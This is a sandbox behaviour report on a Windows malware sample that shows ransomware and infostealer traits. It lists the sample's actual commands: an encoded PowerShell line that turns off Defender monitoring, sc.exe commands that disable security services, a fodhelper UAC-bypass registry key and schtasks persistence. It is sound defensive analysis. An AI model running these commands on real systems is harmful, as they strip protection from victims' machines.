Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 09:52
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
olourblender.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
olourblender.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target olourblender.io_hyber.exe
- Size 49KB
- Sample260803-lv39msff48
- SHA256 89786ea94d6040c8aa71fee5b5e98b31d483d8c677f03992c5eaa66f8df614ca
- MD5 bfe5da7959d2d59e263bb633109cdc92
- SHA1 c71170776293272a083f8fa6bd2d99003460fed2
- SHA512 916e91b92c35c02b9057972bc5c9f4c5f1b26edb8ff625ef720427d83bf5574d21787fb881aba2e1322cf8afdf0ddbe5f737e5a933727cc775740e428db54f7b
- SSDEEP 768:7rVZZ6zs0hZ7wkfqJ/NKPzfX/fC5H4bgO:LZ6HhViJGP/fC5H4bgO
- TLSH T1B033064977ED4525E2BF4ABE89B251118731F463EC23DB8D1AD8459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/6856-1-0x00000000008F0000-0x0000000000902000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" olourblender.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3580 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" olourblender.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts olourblender.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4572 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf olourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf olourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf olourblender.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\olourblender.io_hyber.exe" olourblender.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 2492 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe olourblender.io_hyber.exe File created C:\Windows\system32\sysupdate.exe olourblender.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe olourblender.io_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 3680 wscript.exe 6420 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" olourblender.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\2795352008.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3228 sc.exe 6832 sc.exe 6904 sc.exe 1524 sc.exe 2512 sc.exe 5736 sc.exe 3940 sc.exe 2996 sc.exe 4304 sc.exe 6508 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2848 cmd.exe 2500 cmd.exe 1972 cmd.exe 5328 cmd.exe 7120 cmd.exe 5320 cmd.exe 3956 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2988 ipconfig.exe 1212 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2092 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4868 vssadmin.exe 3940 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2" olourblender.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command olourblender.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings olourblender.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open olourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command olourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings olourblender.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" olourblender.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell olourblender.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\olourblender.io_hyber.exe" olourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell olourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command olourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet olourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell olourblender.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\olourblender.io_hyber.exe\" \"%1\"" olourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open olourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open olourblender.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute olourblender.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4648 schtasks.exe 6892 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3580 powershell.exe 3580 powershell.exe 3580 powershell.exe 3580 powershell.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 3428 WMIC.exe 3428 WMIC.exe 3428 WMIC.exe 3428 WMIC.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6352 WMIC.exe 6352 WMIC.exe 6352 WMIC.exe 6352 WMIC.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe 6856 olourblender.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1032 LogonUI.exe Token: SeCreatePagefilePrivilege 1032 LogonUI.exe Token: SeDebugPrivilege 6856 olourblender.io_hyber.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeIncreaseQuotaPrivilege 3580 powershell.exe Token: SeSecurityPrivilege 3580 powershell.exe Token: SeTakeOwnershipPrivilege 3580 powershell.exe Token: SeLoadDriverPrivilege 3580 powershell.exe Token: SeSystemProfilePrivilege 3580 powershell.exe Token: SeSystemtimePrivilege 3580 powershell.exe Token: SeProfSingleProcessPrivilege 3580 powershell.exe Token: SeIncBasePriorityPrivilege 3580 powershell.exe Token: SeCreatePagefilePrivilege 3580 powershell.exe Token: SeBackupPrivilege 3580 powershell.exe Token: SeRestorePrivilege 3580 powershell.exe Token: SeShutdownPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeSystemEnvironmentPrivilege 3580 powershell.exe Token: SeRemoteShutdownPrivilege 3580 powershell.exe Token: SeUndockPrivilege 3580 powershell.exe Token: SeManageVolumePrivilege 3580 powershell.exe Token: 33 3580 powershell.exe Token: 34 3580 powershell.exe Token: 35 3580 powershell.exe Token: 36 3580 powershell.exe Token: SeIncreaseQuotaPrivilege 3580 powershell.exe Token: SeSecurityPrivilege 3580 powershell.exe Token: SeTakeOwnershipPrivilege 3580 powershell.exe Token: SeLoadDriverPrivilege 3580 powershell.exe Token: SeSystemProfilePrivilege 3580 powershell.exe Token: SeSystemtimePrivilege 3580 powershell.exe Token: SeProfSingleProcessPrivilege 3580 powershell.exe Token: SeIncBasePriorityPrivilege 3580 powershell.exe Token: SeCreatePagefilePrivilege 3580 powershell.exe Token: SeBackupPrivilege 3580 powershell.exe Token: SeRestorePrivilege 3580 powershell.exe Token: SeShutdownPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeSystemEnvironmentPrivilege 3580 powershell.exe Token: SeRemoteShutdownPrivilege 3580 powershell.exe Token: SeUndockPrivilege 3580 powershell.exe Token: SeManageVolumePrivilege 3580 powershell.exe Token: 33 3580 powershell.exe Token: 34 3580 powershell.exe Token: 35 3580 powershell.exe Token: 36 3580 powershell.exe Token: SeIncBasePriorityPrivilege 6856 olourblender.io_hyber.exe Token: SeDebugPrivilege 5856 whoami.exe Token: SeDebugPrivilege 1212 NETSTAT.EXE Token: SeDebugPrivilege 2492 tasklist.exe Token: SeBackupPrivilege 1004 vssvc.exe Token: SeRestorePrivilege 1004 vssvc.exe Token: SeAuditPrivilege 1004 vssvc.exe Token: SeIncreaseQuotaPrivilege 3428 WMIC.exe Token: SeSecurityPrivilege 3428 WMIC.exe Token: SeTakeOwnershipPrivilege 3428 WMIC.exe Token: SeLoadDriverPrivilege 3428 WMIC.exe Token: SeSystemProfilePrivilege 3428 WMIC.exe Token: SeSystemtimePrivilege 3428 WMIC.exe Token: SeProfSingleProcessPrivilege 3428 WMIC.exe Token: SeIncBasePriorityPrivilege 3428 WMIC.exe Token: SeCreatePagefilePrivilege 3428 WMIC.exe Token: SeBackupPrivilege 3428 WMIC.exe Token: SeRestorePrivilege 3428 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 6856 olourblender.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1032 LogonUI.exe 1032 LogonUI.exe 6856 olourblender.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 6856 wrote to memory of 3580 6856 olourblender.io_hyber.exe 92 PID 6856 wrote to memory of 4304 6856 olourblender.io_hyber.exe 94 PID 6856 wrote to memory of 2512 6856 olourblender.io_hyber.exe 96 PID 6856 wrote to memory of 6508 6856 olourblender.io_hyber.exe 98 PID 6856 wrote to memory of 5736 6856 olourblender.io_hyber.exe 148 PID 6856 wrote to memory of 3940 6856 olourblender.io_hyber.exe 154 PID 6856 wrote to memory of 3228 6856 olourblender.io_hyber.exe 104 PID 6856 wrote to memory of 2996 6856 olourblender.io_hyber.exe 117 PID 6856 wrote to memory of 6832 6856 olourblender.io_hyber.exe 130 PID 6856 wrote to memory of 3948 6856 olourblender.io_hyber.exe 110 PID 3948 wrote to memory of 5608 3948 fodhelper.exe 111 PID 6856 wrote to memory of 3680 6856 olourblender.io_hyber.exe 114 PID 6856 wrote to memory of 6892 6856 olourblender.io_hyber.exe 115 PID 6856 wrote to memory of 7120 6856 olourblender.io_hyber.exe 121 PID 6856 wrote to memory of 5320 6856 olourblender.io_hyber.exe 122 PID 6856 wrote to memory of 5328 6856 olourblender.io_hyber.exe 123 PID 6856 wrote to memory of 1972 6856 olourblender.io_hyber.exe 124 PID 6856 wrote to memory of 2500 6856 olourblender.io_hyber.exe 125 PID 6856 wrote to memory of 2848 6856 olourblender.io_hyber.exe 126 PID 6856 wrote to memory of 3956 6856 olourblender.io_hyber.exe 127 PID 6856 wrote to memory of 4648 6856 olourblender.io_hyber.exe 128 PID 6856 wrote to memory of 6420 6856 olourblender.io_hyber.exe 137 PID 2848 wrote to memory of 2988 2848 cmd.exe 138 PID 5320 wrote to memory of 2092 5320 cmd.exe 139 PID 6856 wrote to memory of 1312 6856 olourblender.io_hyber.exe 140 PID 1972 wrote to memory of 5856 1972 cmd.exe 141 PID 6856 wrote to memory of 4868 6856 olourblender.io_hyber.exe 142 PID 6856 wrote to memory of 3428 6856 olourblender.io_hyber.exe 143 PID 6856 wrote to memory of 292 6856 olourblender.io_hyber.exe 144 PID 6856 wrote to memory of 4572 6856 olourblender.io_hyber.exe 145 PID 6856 wrote to memory of 1524 6856 olourblender.io_hyber.exe 146 PID 6856 wrote to memory of 6904 6856 olourblender.io_hyber.exe 147 PID 7120 wrote to memory of 3940 7120 cmd.exe 154 PID 5328 wrote to memory of 2492 5328 cmd.exe 155 PID 3956 wrote to memory of 1212 3956 cmd.exe 156 PID 2500 wrote to memory of 6692 2500 cmd.exe 157 PID 6692 wrote to memory of 712 6692 net.exe 159 PID 292 wrote to memory of 1988 292 net.exe 160 PID 7120 wrote to memory of 6352 7120 cmd.exe 162 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3580
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4304
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2512
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:6508
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5736
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3940
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3228
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2996
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:6832
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe"3⤵PID:5608
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3680
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\olourblender.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6892
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:7120 -
